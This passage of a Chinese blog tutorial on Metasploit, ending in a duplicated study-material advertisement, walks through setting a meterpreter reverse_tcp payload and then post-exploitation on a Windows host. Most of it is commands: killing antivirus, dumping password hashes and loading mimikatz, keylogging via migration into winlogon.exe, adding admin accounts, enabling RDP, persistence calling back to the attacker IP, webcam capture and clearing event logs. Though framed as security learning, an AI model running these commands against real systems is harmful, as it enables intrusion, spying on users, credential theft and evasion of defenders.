【工具使用】——Metasploit(MSF)使用详解(超详细),2024年最新腾讯网络安全面试必问_msf关闭杀软

set payload windows/x64/meterpreter/reverse_tcp


![](https://img-blog.csdnimg.cn/img_convert/ed0fc162aaf9a231085cb3fd6c282ee5.png)


3、查看模块需要配置的参数:  
 命令:



show options


![](https://img-blog.csdnimg.cn/img_convert/37f3b57e5b350e8a2e6e07367bb481d2.png)


4、设置攻击载荷参数:  
 命令:



set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;


![](https://img-blog.csdnimg.cn/img_convert/dc1880d3f9bd63214e22a2aa301f063e.png)


5、进行攻击:


![](https://img-blog.csdnimg.cn/img_convert/a64efff9b838d6713671ad7f98577207.png)


##### 7. 后渗透阶段:


运行了`exploit命令`之后,我们开启了一个`reverse TCP监听器`来监听本地的`6666`端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 `meterpreter >` 出现:


![](https://img-blog.csdnimg.cn/img_convert/c26acfe86c427f934ba1b5cd28c0ebf0.png)Meterpreter的命令用法:



Meterpreter > ?

核心命令:

命令 说明


? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道

==========================================
Stdapi:文件系统命令

命令 说明


cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录

==========================================
Stdapi:网络命令

命令 说明


arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表

==========================================
Stdapi:系统命令

命令 说明


clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令

命令 说明


enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:

命令 说明


record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:

命令 说明


play 在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:

命令 说明


getsystem 尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:

命令 说明


hashdump 转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:

命令 说明


timestomp 操作文件 MACE 属性

meterpreter >


我们输入: `shell`即可切换到目标主机的`windows cmd_shell`里面:  
 命令:



shell #获取目标主机的cmd_shell权限
chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8


![](https://img-blog.csdnimg.cn/img_convert/4918eefed3404f835e7e89db6629d26f.png)


要想从目标主机shell退出到`meterpreter` ,我们只需输入:`exit`:


![](https://img-blog.csdnimg.cn/img_convert/c8ee05a538810849e03f4725e80c4852.png)


从`meterpreter`退出到`MSF框架`:  
 命令:



background #把我们获得的meterpreter会话挂载到后台运行


![](https://img-blog.csdnimg.cn/img_convert/0ec5aa9230fa2f7d9c890eb9d239f08a.png)  
 查看前面获得的`meterpreter_shell`会话,最前面的数字是会话的id:  
 命令:



sessions -l #查看获得的meterpreter_shell会话列表


![](https://img-blog.csdnimg.cn/img_convert/50749cffe2ed207176792381e5bf5674.png)  
 输入sessions [id号]即可进入相应的`meterpreter_shell`中:  
 ![](https://img-blog.csdnimg.cn/img_convert/c66f126f6ab8bb265e84914053f76fa1.png)


输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台:


![](https://img-blog.csdnimg.cn/img_convert/6b471dc73162ea2fc808c9a04232cc7d.png)



sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库

run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.100.158 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
clearev #清除日志


###### 7.1 Post 后渗透模块:



> 
> 该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
> 
> 
> 



run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash


输入:sysinfo 查看目标主机的信息:


![](https://img-blog.csdnimg.cn/img_convert/890050c73b763f2d2268c7b69d02c704.png)


###### 7.2 查看主机是否运行在虚拟机上:


查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:  
 命令:



run post/windows/gather/checkvm


![](https://img-blog.csdnimg.cn/img_convert/25c57b22c1f46362c53a3e0ce3b4dc11.png)


###### 7.3 关闭杀毒软件:


拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:



run killav


![](https://img-blog.csdnimg.cn/img_convert/7df35454102e6c92dcca746b597db0e0.png)


###### 7.4 获取目标主机的详细信息:


使用命令:



run scraper


![](https://img-blog.csdnimg.cn/img_convert/7922d379fcf6bb2ac82af70ad68c044b.png)


它将目标机器上的常见信息收集起来然后下载保存在本地


###### 7.5 访问文件系统:


Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:



pwd #查看当前目录
cd #切换目标目录;
cat #读取文件内容;
rm #删除文件;
edit #使用vim编辑文件
ls #获取当前目录下的文件;
mkdir #新建目录;
rmdir #删除目录;


![](https://img-blog.csdnimg.cn/img_convert/595657c1a2ed616baceff14f358d3657.png)


###### 7.6 上传/下载文件:


###### 7.6.1 下载文件:


命令:



download file #命令可以帮助我们从目标系统中下载文件


![](https://img-blog.csdnimg.cn/img_convert/5fbd387f757ff73547e3812b8c0b6982.png)


![](https://img-blog.csdnimg.cn/img_convert/8366a01a0046bf3500ad9235b251cc73.png)


###### 7.6.2 上传文件:


命令:



upload file #命令则能够向目标系统上传文件。


![](https://img-blog.csdnimg.cn/img_convert/58ab343476a1d878fd4904c1d0663684.png)


###### 7.7 权限提升:



> 
> 有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
> 
> 
> 


命令:



getuid
#命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
getsystem
#自动提权为系统权限


![在这里插入图片描述](https://img-blog.csdnimg.cn/a878fb4807f54cd0b516b288045f8bc2.png)


注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!


###### 7.8 获取用户密码:


点击进入:使用MSF抓取用户密码


###### 7.9 运行程序:


先查看目标主机安装了哪些应用:  
 命令:



run post/windows/gather/enum_applications #查看目标主机安装了哪些应用


![](https://img-blog.csdnimg.cn/img_convert/b7a1abab503c4d2be388b6fe802abafc.png)


在meterpreter\_shell命令行执行目标系统中的应用程序:  
 命令:



#execute命令用法:
execute [参数] -f 指定的可执行文件

-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程


![](https://img-blog.csdnimg.cn/img_convert/cf338314f462fc49deac523e256eefeb.png)


###### 7.11 屏幕截图:


1、截图目标主机屏幕,可以看到,图片被保存到了`/root/桌面/`目录下:  
 命令:



screenshot #截图目标主机屏幕


![](https://img-blog.csdnimg.cn/img_convert/a5e542bf1293c2513a53b96113be89bb.png)  
 2、目标主机的屏幕截图如下:


![](https://img-blog.csdnimg.cn/img_convert/cd975ace058b7225369257963aa4103c.png)


###### 7.12 创建一个新账号:


先查看目标主机有哪些用户:  
 命令:



run post/windows/gather/enum_logged_on_users #查看目标主机有用户


![](https://img-blog.csdnimg.cn/img_convert/fecd0ca2b2e52dc6ce4f16fbaa027ada.png)  
 **在目标系统中创建一个新的用户账号的方法一:**  
 命令:



run getgui -u 用户 -p 密码
-u: 指定用户
-p: 指定密码


**注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!**  
 ![](https://img-blog.csdnimg.cn/img_convert/370c8d225510b80b17e9977a3ddaea71.png)  
 如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中。  
 **在目标系统中创建一个新的用户账号的方法二:**  
 命令:



enable_rdp脚本:
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662


![在这里插入图片描述](https://img-blog.csdnimg.cn/ef02726556da4ba59d408e21e21cffe3.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU4ODI0Nw==,size_16,color_FFFFFF,t_70)点击进入:参考文章!


###### 7.13 启用远程桌面:


当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。


首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:`run post/windows/manage/enable_rdp`命令可以开启远程桌面。


在开启远程桌面会话之前,我们还需要使用`idletime命令`检查远程用户的空闲时长:



idletime #检查远程用户的空闲时长


![在这里插入图片描述](https://img-blog.csdnimg.cn/7adbe334bc774db99f56740a3b4d13af.png)  
 开启远程桌面:  
 命令:



run post/windows/manage/enable_rdp


![](https://img-blog.csdnimg.cn/img_convert/bc432c6c78079da761a2983c14f89a54.png)  
 然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。


###### 7.14 键盘记录:


Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:



keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
keyscan_dump: #显示捕捉到的键盘记录信息
keyscan_stop: #停止键盘记录功能


注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。


###### 7.15 进程迁移:


Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。


在下面的例子中,我们会将`Meterpreter`跟 `winlogon.exe`绑定,并在登录进程中捕获键盘记录,以获得用户的密码。


首先,我们需要使用:`ps` 命令查看目标设备中运行的进程:


![](https://img-blog.csdnimg.cn/img_convert/ddd3a50d34b5f38b74bc1db71db9599a.png)  
 我们可以使用:`getpid` 查看我们当前的进程id:


![](https://img-blog.csdnimg.cn/img_convert/8e22ed3215cc14888490e831a56decaf.png)


使用:`migrate`+`目标进程ID`命令来绑定目标进程id,可以看到通过进程迁移后,当前的`Meterpreter`的`pid`已经和 `winlogon.exe`一样了:


![](https://img-blog.csdnimg.cn/img_convert/0b3208beaebdfce8e5817d9e336dc034.png)  
 这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 `kill pid` 命令关闭进程。


或者使用自动迁移进程(`run post/windows/manage/migrate`)命令,系统会自动寻找合适的进程然后迁移。


###### 7.16 禁止目标主机使用键盘鼠标:


命令:



uictl disable(enable) keyboard #禁止(允许)目标使用键盘
uictl disable(enable) mouse #禁止(允许)目标使用鼠标


###### 7.17 用目标主机摄像头拍照:



最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

le) mouse #禁止(允许)目标使用鼠标


###### 7.17 用目标主机摄像头拍照:



最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-P0k672lY-1715567192901)]

[外链图片转存中…(img-xymvBKlk-1715567192902)]

[外链图片转存中…(img-O8KaGY0y-1715567192902)]

[外链图片转存中…(img-eUfgaSsO-1715567192902)]

[外链图片转存中…(img-otCbbezJ-1715567192903)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 25
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值